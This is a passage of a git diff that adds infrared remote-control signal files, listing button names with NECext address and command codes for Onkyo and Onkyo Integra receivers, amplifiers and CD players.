+protocol: NECext +address: D2 2B 00 00 +command: D9 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: DA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir new file mode 100644 index 000000000..193e9ba94 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: DSP_> +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: DSP_< +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: LEVEL_+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: LEVEL_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: CHANNEL_SELECT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: OSD_MENU +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 53 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 55 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir new file mode 100644 index 000000000..9904feb3f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir new file mode 100644 index 000000000..c108535a6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: MULTI_CHANEL_INPUT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 04 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir new file mode 100644 index 000000000..314fc263a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir @@ -0,0 +1,470 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_PRESET_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_PRESET_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: AUDIO_MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 06 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: TAPE-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: TAPE-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: VIDEO-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: DECK-B_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECK-B_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECK-B_R.PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECK-B_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECK-B_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECK-B_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1B 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1C 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1F 00 00 00 +# +name: REAR_LEVEL_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 42 00 00 00 +# +name: REAR_LEVEL_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 43 00 00 00 +# +name: SOURCE_DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: TUNER_CLASS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4A 00 00 00 +# +name: SUR_MODE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: DECK-A_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECK-A_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECK-A_R.PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECK-A_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: DECK-A_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECK-A_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: DELAY_TIME +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 53 00 00 00 +# +name: A_SPEAKERS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: MAIN_SPEAKERS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: MULTIROOM_ON/OFF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: B_SPEAKERS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: REMOTE_SPEAKERS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5C 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5C 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: PHONO_PLAY/REJECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5F 00 00 00 +# +name: CENTER_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 80 00 00 00 +# +name: CENTER_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 81 00 00 00 +# +name: CENTER_OFF/ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 98 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: MULTIROOM_VOL+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C2 00 00 00 +# +name: SIMUL_SOURCE_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C2 00 00 00 +# +name: MULTIROOM_VOL- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C3 00 00 00 +# +name: SIMUL_SOURCE_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C3 00 00 00 +# +name: MULTIROOM_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: MULTIROOM_DVD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: MULTIROOM_TAPE_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: MULTIROOM_TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: MULTIROOM_VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: MULTIROOM_VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: SIMUL_SOURCE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/132,117.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/132,117.ir new file mode 100644 index 000000000..d9babc29b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/132,117.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 09 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 0A 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 0B 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 0C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 0D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 0F 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 14 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 15 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 16 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 17 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 18 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 19 00 00 00 +# +name: PLAY_MEMORY +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 1A 00 00 00 +# +name: PLAY_NORM_> +type: parsed +protocol: NECext +address: 84 75 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,109.ir new file mode 100644 index 000000000..c775fe483 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,109.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_PRESET_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_PRESET_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: AUDIO_MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: TAPE-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: TAPE-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: VCR-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VCR-1/VDP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: CD_DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 12 00 00 00 +# +name: DECK-B_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECK-B_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECK-B_PLAY_R._< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECK-B_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECK-B_FF_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECK-B_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1B 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1C 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1F 00 00 00 +# +name: DECK-A_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECK-A_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECK-A_PLAY_R._< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECK-A_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: DECK-A_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECK-A_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5C 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: PHONO_PLAY/REJECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,13.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,13.ir new file mode 100644 index 000000000..5e9297d52 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,13.ir @@ -0,0 +1,356 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_FAST_FWD_>> +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 80 00 00 00 +# +name: TAPE_FF_>> +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 80 00 00 00 +# +name: TAPE_FFWD_>> +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 80 00 00 00 +# +name: TAPE_FAST_REW_<< +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 81 00 00 00 +# +name: TAPE_REW_<< +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 81 00 00 00 +# +name: TAPE_REV_<< +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 81 00 00 00 +# +name: TAPE_VOL_+ +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 82 00 00 00 +# +name: TAPE_VOLUME_^ +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 82 00 00 00 +# +name: TAPE_VOL_- +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 83 00 00 00 +# +name: TAPE_VOLUME_V +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 83 00 00 00 +# +name: TAPE_REPEAT +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 86 00 00 00 +# +name: TAPE_A-B +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 87 00 00 00 +# +name: TAPE_CLEAR +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 88 00 00 00 +# +name: TAPE_MEMORY +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 89 00 00 00 +# +name: TAPE_DISPLAY +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 8A 00 00 00 +# +name: TAPE_LAP/REM +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 8A 00 00 00 +# +name: TAPE_OPEN/CLOSE +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 8B 00 00 00 +# +name: TAPE_EJECT +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 8B 00 00 00 +# +name: TAPE_8 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 8C 00 00 00 +# +name: TAPE_9 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 8D 00 00 00 +# +name: TAPE_0 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 8E 00 00 00 +# +name: TAPE_+10 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 8F 00 00 00 +# +name: TAPE_10_+ +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 8F 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 90 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 91 00 00 00 +# +name: TAPE_3 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 92 00 00 00 +# +name: TAPE_4 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 93 00 00 00 +# +name: TAPE_5 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 98 00 00 00 +# +name: TAPE_6 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 99 00 00 00 +# +name: TAPE_7 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 9A 00 00 00 +# +name: TAPE_STOP_[] +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 9C 00 00 00 +# +name: TAPE_PLAY_> +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 9D 00 00 00 +# +name: TAPE_REV_PLAY_< +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 9E 00 00 00 +# +name: TAPE_PLAY_R._< +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 9E 00 00 00 +# +name: TAPE_PLAY_REV._< +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 9E 00 00 00 +# +name: TAPE_PLAY_REV_< +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 9E 00 00 00 +# +name: TAPE_REC/PAUSE +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 9F 00 00 00 +# +name: TAPE_REC/PAUSE_O/ +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 9F 00 00 00 +# +name: TAPE_EDIT_> +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: C2 00 00 00 +# +name: TAPE_EDIT_< +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: C3 00 00 00 +# +name: TAPE_INDEX +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: C4 00 00 00 +# +name: TAPE_INTRO +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: C5 00 00 00 +# +name: TAPE_SHUFFLE +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: C6 00 00 00 +# +name: TAPE_RANDOM +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: C6 00 00 00 +# +name: TAPE_AUTO_SPACE +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: CC 00 00 00 +# +name: TAPE_TIME_EDIT +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: CD 00 00 00 +# +name: TAPE_MEMORY_SHIFT +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: CE 00 00 00 +# +name: TAPE_10 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: CF 00 00 00 +# +name: TAPE_11 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: D0 00 00 00 +# +name: TAPE_12 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: D1 00 00 00 +# +name: TAPE_13 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: D2 00 00 00 +# +name: TAPE_14 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: D3 00 00 00 +# +name: TAPE_15 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: D4 00 00 00 +# +name: TAPE_16 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: D5 00 00 00 +# +name: TAPE_17 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: D6 00 00 00 +# +name: TAPE_18 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: D7 00 00 00 +# +name: TAPE_19 +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: D8 00 00 00 +# +name: TAPE_DISC +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: DA 00 00 00 +# +name: TAPE_TRACK +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: DB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,44.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,44.ir new file mode 100644 index 000000000..5fd619fa7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,44.ir @@ -0,0 +1,380 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_FAST_FWD_>> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 00 00 00 00 +# +name: CD_SCAN_>> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 00 00 00 00 +# +name: CD_SEARCH_>> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 00 00 00 00 +# +name: CD_FAST_REV_<< +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 01 00 00 00 +# +name: CD_SCAN_<< +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 01 00 00 00 +# +name: CD_SEARCH_<< +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 01 00 00 00 +# +name: CD_VOL_+ +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 02 00 00 00 +# +name: CD_VOLUME_^ +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 02 00 00 00 +# +name: CD_VOL_- +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 03 00 00 00 +# +name: CD_VOLUME_V +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 03 00 00 00 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 06 00 00 00 +# +name: CD_A-B +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 07 00 00 00 +# +name: CD_CLEAR +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 08 00 00 00 +# +name: CD_MEMORY +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 09 00 00 00 +# +name: CD_DISPLAY +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0A 00 00 00 +# +name: CD_LAP/MEM +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0A 00 00 00 +# +name: CD_OPEN/CLOSE +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0B 00 00 00 +# +name: CD_EJECT +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0B 00 00 00 +# +name: CD_8 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0C 00 00 00 +# +name: CD_9 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0D 00 00 00 +# +name: CD_0 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0E 00 00 00 +# +name: CD_+10 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0F 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 10 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 11 00 00 00 +# +name: CD_3 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 12 00 00 00 +# +name: CD_4 +type: parsed +protocol: NECext +address: 